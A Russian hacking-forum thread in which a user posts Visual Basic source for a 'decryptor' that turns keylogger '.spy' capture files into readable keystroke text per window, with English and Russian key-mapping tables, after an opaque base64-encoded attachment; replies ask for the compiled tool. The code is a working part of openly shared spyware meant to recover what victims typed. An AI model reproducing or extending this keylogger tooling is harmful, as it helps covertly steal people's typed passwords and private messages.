    0odF8TQ17yhgCe2+HgBy56JiJAS0/SPELzKZmgDZyvdwk1Yyrjipw4Qo3Y2vIm/Vlhz7XM4FeYqt 
    1fANheGyuhfUaXXP10tm2kYEvg90rjg/drSG1IBw09ycHpvrFVbR3xbENQUXpighFYSDTuoXiwTl 
    28xHd+pZruDl+KQ6ZTbPQ28oZ6j3C7kENAY/iZ3fm86UVs01yzZxI7gZpqMsbkxHeFvgSwQ3a/fl 
    IBv9ondje8P/c3R8nqJswzoWwG6EfFEhbRur0xQF90l6hhg0k03TYNW0wy/bmvpSn2vCkCD+flUZ 
    yNR6qLh9WeKVogZpg35t17qvhy5tvW/aGd3EWBhlkLIzl+C0d/Fkds2O5yosGNqhnOVnxoEI7lfv 
    wmxQoLyE8mpZxE23RKlY0QuOEiWQFbxXYxNKWqx6H7TVXogP3epiRtqecjuU7+zE/qhdb9A6G/r9 
    QWlsQ4R1h8KEsi7RmByoIj/Y2Ia8ox+KNBrRWeQdHNfxOmKKD99fMKrU3XhZKpwMDleYm8hZJwOH 
    lyJyYUjYLyywPQDq1QdcOI6LZdsNav3Iu36UBKz7dDYNis6oQ4wfrPwzxxA4Ot8LsDcYcwyd2djs 
    o5a38Q0JCHZQqgbkblt3eBU6euOqacFxuBca+udQs4Q+6VQh4mK3qQMhRiYtg8AUAIHcAnV4QRZY 
    1U+a00sGpxoCaG2iPgMJWeojtGL0FzuiUl0z2Mnm1QpLFzUUiH5wP400KQ1Gqk+dKPoUgSGM520Q 
    /eItkA3f9xJEnTGqoFKZZN+l3i+UmIkziHCeSp1MAEMFcZzECE6ubCGjMWs7sIxi72G1E3cDftx+ 
    NYVAdiu9ZvAKbWFUa/M+2esM8Qc9SYjexwvbELx9oMoohJGfMIC8xODGmb0kOtQDldv9bUJyCBMI 
    18XBORt04Z3gmiQQvTab/bDyxrPJtRujSbi0H9TOf750oF6Plxu2/Dcl+labnJgBnIuQgtG+AUTf 
    uY6Sx4kmOTP8gxX3+Oo/j+KbYZN3TZ2CpnPczsFlijurj/8qGm6HoaowLiek/QT1Hus9Z+fHsOZw 
    dait6WyPgAAHlB8O8EU+XHy76Pn38fTu59e71/lZZz3AcCqQ2s9iMuvzky7fKME7UkDyZzm6HPbm 
    dB53wfl2s+0NR5BpN9tBvDObqzHmVnmt8Ov14cts5yBnSNZajaV2+tCUXZyZqSFicKGXfn5ZOd3W 
    NxgPaf4TY9xiCM1BbJ6H3onl4DHLSmhDyKwzHQvHQRX3Q4I65RSgFIb1j1ndrVv+y4SHYkmNui8w 
    bpSpQn+OIG4IhukFjZI7HHBnXNbc1W3I7ms2s9umbNeKt31vjV5QK9F9B8ugkhNsf59SA8gVriUD 
    WR8D+J3l2+RHdlB1OScHLVC25iojEceTHsKoG0pn//Fue2Gn8vXzH1rkA5oYSM/7S//UOxB0IJAs 
    ADACAABdAwAAAggZLfndbmc5HTMHACAAAABtc2cudmJwALDQEhMN2U0MkP0cFXvqV8Hi06bakCkh 
    N0C1ToJIS6K2ALYU2pUvRhJkNm3JMFmYbul1X3eqyFAn8GZIUqt8KmPnG3G3xvx7H0Y8zj/j7i/f 
    Jcfa/AsuzUFfB5B9Po7AwBIGN7hvZn9/mnuFU1radlOSr+M/xnblur8WFbSdjcs+3P24cTWPtdzl 
    2FMGK2rwBnxiDN5haLGP44Er+sw4gGhHH/9EtROwrdlsFxS7ZUUZbs3b1tr9X02byfTtTbtKSePE 
    JrjtPiFYch4MZRwGSd4CHVRbHpS7Jr38R8Xj0d4XjL+aq11pqiGi9hhbpk16+wzJXZFykRi5N+3v 
    ck47JOs/C1jZ+dATYyRLwbtwum0fyYGRAKVdjeB6lp2V+2nhFml0wCG16l+iuDomHrCLU3CLjp0H 
    AyOKIEb9P1QcQKYOAi5xM205h8jYWpSdcZqOnWifbg3w1luA76TMwSLqHb4zy5NCt+EJTrd5CQvO 
    GN4gaIKEuRbu+8N07S5qnqZFsFQad4ifVUuPZXbGXuCkr0qJ8WRiMlkIPSSZy7enxVsEcnES8Z1i 
    KH7/4W2DwoiyHqodcR531Gi9aDpXEXNCHxaDo16aXYBoMxDvihBSFHpQGjDXG+Vmj977Vf8PfyAQ 
    /HmQ2LIOdRv6NrDm5g+UZESBfbyVZNGiqk1U7phMFDytLf2oGrb42ECB+m0nLi+cpwHlip50S0Fb 
    0qFjc/Rx1LKQEZQTnPkJVqx9a1g/bsovciF+UMQ9ewBABwA= 
    
    --_NextPartOfMessage_--
    Потом еще расшифровальщик.
    Т.к. формат лог-файла сложный, требуется его привести в нормальный формат. Для этого служит Расшифровальщик.

    Подключаемые компоненты: Ms Excel Object Lib
    Требуется: Keys.xls

    MDI-форма

    Form1 (MDI child), на ней Text1
    Код:
    Private Sub Form_Resize() 
        Text1.Left = 0 
        Text1.Top = 0 
        Text1.Width = Me.Width 
        Text1.Height = Me.Height 
    End Sub
    Form2 (невидимая)
    Код:
    Private Sub Form_Load() 
    
        SelectFile 
        Load MDIForm1 
        RazborFile 
    
    End Sub 
    
    
    Sub SelectFile() 
        CommonDialog1.Filter = "Шпиёнские файлы (*.spy)|*.spy" 
        On Error GoTo EndEnd 
        CommonDialog1.ShowOpen 
        
        SpyFile = StrReverse(Left(StrReverse(CommonDialog1.FileName), InStr(1, StrReverse(CommonDialog1.FileName), "\") - 1)) 
        SpyPath = Left(CommonDialog1.FileName, Len(CommonDialog1.FileName) - Len(SpyFile) - 1) 
        
        Exit Sub 
        
    EndEnd: 
        Unload Me 
    End Sub 
    
    Sub RazborFile() 
    Dim T As String 
    Dim Razbor() As String 
    Dim xls As New Excel.Application 
    Dim xlsBook As Excel.Workbook 
    Dim IsCapsLock As Boolean 
    Dim IsShift As Boolean 
    Dim Raskladka As String 
    Dim SpyKeyCode As Integer 
    
        Set xlsBook = xls.Workbooks.Open(App.Path & "\Keys.xls") 
        ReDim f(0 To 0) 
        Open SpyPath & "\" & SpyFile For Input As #1 
            Do While Not EOF(1) 
                Line Input #1, T 
                If Left(T, 1) = "<" Then 
                    If UBound(f) = 0 Then 
                        ReDim f(1 To 1) 
                        Set f(1) = New Form1 
                        f(1).Caption = Right(T, Len(T) - 1) 
                        f(1).Visible = True 
                        MDIForm1.Visible = False 
                    Else 
                        For I = 1 To UBound(f) 
                            If f(I).Caption = Right(T, Len(T) - 1) Then 
                                Exit For 
                            End If 
                        Next 
                        If I > UBound(f) Then 
                            ReDim Preserve f(1 To UBound(f)) 
                            Set f(UBound(f)) = New Form1 
                            f(UBound(f)).Caption = Right(T, Len(T) - 1) 
                            f(UBound(f)).Visible = True 
                            MDIForm1.Visible = False 
                        End If 
                    End If 
                Else 
                    Razbor = Split(T, "''' ") 
                    For I = 1 To UBound(f) 
                        If f(I).Caption = Razbor(LBound(Razbor)) Then 
                            IsCapsLock = CBool(Razbor(1)) 
                            IsShift = CBool(Razbor(2)) 
                            Raskladka = Razbor(3) 
                            SpyKeyCode = Razbor(4) 
                            f(I).Text1.Text = f(I).Text1.Text & GetSymbol(xlsBook, IsCapsLock, IsShift, Raskladka, SpyKeyCode) 
                        End If 
                    Next 
                End If 
            Loop 
        Close 
        
        xlsBook.Close False 
        xls.Quit 
        
        MDIForm1.Show 
        Unload Me 
        
    End Sub 
    
    Function GetSymbol(xlsBook As Excel.Workbook, Caps As Boolean, Shift As Boolean, Raskladka As String, I As Integer) As String 
    Dim xlsSheet As Excel.Worksheet 
    Dim IsSheetFound As Boolean 
    Dim J As Integer 
        
        IsSheetFound = False 
        For Each xlsSheet In xlsBook.Sheets 
            If xlsSheet.Name = Raskladka Then 
                IsSheetFound = True 
                Exit For 
            End If 
        Next 
            
        If IsSheetFound Then 
            If Not Caps And Not Shift Then 
                J = 1 
            ElseIf Shift And Not Caps Then 
                J = 2 
            ElseIf Not Shift And Caps Then 
                J = 3 
            ElseIf Shift And Caps Then 
                J = 4 
            End If 
            
            GetSymbol = xlsSheet.Cells(I, J).Value 
            If GetSymbol = "Enter" Then 
                GetSymbol = vbCrLf 
            Else 
                If Len(GetSymbol) > 1 Then 
                    GetSymbol = "<" & GetSymbol & ">" 
                End If 
            End If 
            
        Else 
            MsgBox "Неизвестная раскладка: " & Raskladka, vbCritical 
            xlsBook.Close False 
            xlsBook.Parent.Quit 
            End 
        End If 
        
    End Function
    Если будут проблемы с каким-то *.spy файлом - просто удалите в нем последнюю строку.

    Keys.xls
    Должен лежать в той же папке, что и Расшифровальщик.exe
    Лист [English]:
    Код:
    Tab   Tab   Tab   Tab 
    Enter   Enter   Enter   Enter 
    Alt   Alt   Alt   Alt 
    Esc   Esc   Esc   Esc 
                 
    PageUp   PageUp   PageUp   PageUp 
    PageDown   PageDown   PageDown   PageDown 
    End   End   End   End 
    Home   Home   Home   Home 
    Left   Left   Left   Left 
    Up   Up   Up   Up 
    Right   Right   Right   Right 
    Down   Down   Down   Down 
    Insert   Insert   Insert   Insert 
    Delete   Delete   Delete   Delete 
    0   )   0   ) 
    1   !   1   ! 
    2   @   2   @ 
    3   #   3   # 
    4   $   4   $ 
    5   %   5   % 
    6   ^   6   ^ 
    7   &   7   & 
    8   *   8   * 
    9   (   9   ( 
    a   A   A   a 
    b   B   B   b 
    с   C   C   с 
    d   D   D   d 
    e   E   E   e 
    f   F   F   f 
    g   G   G   g 
    h   H   H   h 
    i   I   I   i 
    j   J   J   j 
    k   K   K   k 
    l   L   L   l 
    m   M   M   m 
    n   N   N   n 
    o   O   O   o 
    p   P   P   p 
    q   Q   Q   q 
    r   R   R   r 
    s   S   S   s 
    t   T   T   t 
    u   U   U   u 
    v   V   V   v 
    w   W   W   w 
    x   X   X   x 
    y   Y   Y   y 
    z   Z   Z   z 
    LWindows   LWindows   LWindows   LWindows 
    RWindows   RWindows   RWindows   RWindows 
    List   List   List   List 
    Num0   Num0   Num0   Num0 
    Num1   Num1   Num1   Num1 
    Num2   Num2   Num2   Num2 
    Num3   Num3   Num3   Num3 
    Num4   Num4   Num4   Num4 
    Num5   Num5   Num5   Num5 
    Num6   Num6   Num6   Num6 
    Num7   Num7   Num7   Num7 
    Num8   Num8   Num8   Num8 
    Num9   Num9   Num9   Num9 
    *   *   *   * 
    +   +   +   + 
    -   -   -   - 
    ,   ,   ,   , 
    /   /   /   / 
    F1   F1   F1   F1 
    F2   F2   F2   F2 
    F3   F3   F3   F3 
    F4   F4   F4   F4 
    F5   F5   F5   F5 
    F6   F6   F6   F6 
    F7   F7   F7   F7 
    F8   F8   F8   F8 
    F9   F9   F9   F9 
    F10   F10   F10   F10 
    F11   F11   F11   F11 
    F12   F12   F12   F12 
    F13   F13   F13   F13 
    F14   F14   F14   F14 
    F15   F15   F15   F15 
    F16   F16   F16   F16 
    ;   :   ;   : 
    =   +   =   + 
    ,   <   ,   < 
    -   _   -   _ 
    .   >   .   > 
    /   ?   /   ? 
    `   ~   `   ~ 
    [   {   [   { 
    \   |   \   | 
    ]   }   ]   } 
    '   "   '   " 
    Back   Back   Back   Back
    Лист [Russian]:
    Код:
    Tab   Tab   Tab   Tab 
    Enter   Enter   Enter   Enter 
    Alt   Alt   Alt   Alt 
    Esc   Esc   Esc   Esc 
                 
    PageUp   PageUp   PageUp   PageUp 
    PageDown   PageDown   PageDown   PageDown 
    End   End   End   End 
    Home   Home   Home   Home 
    Left   Left   Left   Left 
    Up   Up   Up   Up 
    Right   Right   Right   Right 
    Down   Down   Down   Down 
    Insert   Insert   Insert   Insert 
    Delete   Delete   Delete   Delete 
    0   )   0   ) 
    1   !   1   ! 
    2   "   2   " 
    3   №   3   № 
    4   ;   4   ; 
    5   %   5   % 
    6   :   6   : 
    7   ?   7   ? 
    8   *   8   * 
    9   (   9   ( 
    ф   Ф   Ф   ф 
    и   И   И   и 
    с   С   С   с 
    в   В   В   в 
    у   У   У   у 
    а   А   А   а 
    п   П   П   п 
    р   Р   Р   р 
    ш   Ш   Ш   ш 
    о   О   О   о 
    л   Л   Л   л 
    д   Д   Д   д 
    ь   Ь   Ь   ь 
    т   Т   Т   т 
    щ   Щ   Щ   щ 
    з   З   З   з 
    й   Й   Й   й 
    к   К   К   к 
    ы   Ы   Ы   ы 
    е   Е   Е   е 
    г   Г   Г   г 
    м   М   М   м 
    ц   Ц   Ц   ц 
    ч   Ч   Ч   ч 
    н   Н   Н   н 
    я   Я   Я   я 
    LWindows   LWindows   LWindows   LWindows 
    RWindows   RWindows   RWindows   RWindows 
    List   List   List   List 
    Num0   Num0   Num0   Num0 
    Num1   Num1   Num1   Num1 
    Num2   Num2   Num2   Num2 
    Num3   Num3   Num3   Num3 
    Num4   Num4   Num4   Num4 
    Num5   Num5   Num5   Num5 
    Num6   Num6   Num6   Num6 
    Num7   Num7   Num7   Num7 
    Num8   Num8   Num8   Num8 
    Num9   Num9   Num9   Num9 
    *   *   *   * 
    +   +   +   + 
    -   -   -   - 
    ,   ,   ,   , 
    /   /   /   / 
    F1   F1   F1   F1 
    F2   F2   F2   F2 
    F3   F3   F3   F3 
    F4   F4   F4   F4 
    F5   F5   F5   F5 
    F6   F6   F6   F6 
    F7   F7   F7   F7 
    F8   F8   F8   F8 
    F9   F9   F9   F9 
    F10   F10   F10   F10 
    F11   F11   F11   F11 
    F12   F12   F12   F12 
    F13   F13   F13   F13 
    F14   F14   F14   F14 
    F15   F15   F15   F15 
    F16   F16   F16   F16 
    ж   Ж   Ж   ж 
    =   +   =   + 
    б   Б   Б   б 
    -   _   -   _ 
    ю   Ю   Ю   ю 
    .   ,   .   , 
    ё   Ё   Ё   ё 
    х   Х   Х   х 
    \   /   \   / 
    ъ   Ъ   Ъ   ъ 
    э   Э   Э   э 
    Back   Back   Back   Back
    Вроде все:)
     
  5. driver-zxz

    driver-zxz Новичок

    Регистрация:
    8 фев 2011
    Сообщения:
    2
    Симпатии:
    0
    Баллы:
    0
    Работает??? А сомпилиный и исходники в 1 архиве можно???
     
  6. lytgeygen

    lytgeygen pacifiste maniaque ..::V.I.P::..

    Регистрация:
    13 окт 2008
    Сообщения:
    431
    Симпатии:
    244
    Баллы:
    0
    VolkKz, отсюда брал ? _http://bit.pirit.info/forum/viewtopic.php?p=45106
     
  7. VolkKz

    VolkKz Новичок

    Регистрация:
    28 ноя 2010
    Сообщения:
    37
    Симпатии:
    8
    Баллы:
    0
    Да
     

Поделиться этой страницей